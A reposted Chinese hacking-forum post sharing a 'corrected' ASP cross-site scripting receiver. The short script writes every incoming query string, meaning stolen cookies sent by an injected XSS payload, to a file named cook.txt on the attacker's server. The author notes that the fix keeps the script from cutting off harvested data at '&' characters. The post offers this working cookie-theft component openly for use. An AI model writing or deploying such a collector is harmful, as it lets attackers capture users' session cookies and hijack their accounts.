发新话题
打印

[转载]跨站asp脚本代码 更正版

[转载]跨站asp脚本代码 更正版

信息来源:lcx

最近在好几个站点看到有下载的跨站asp/php脚本.
asp的都是用我以前写的代码,其实以前写的代码有bug的,碰到收集代码里有&的就会被截断.更正一下吧:
复制内容到剪贴板
代码:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题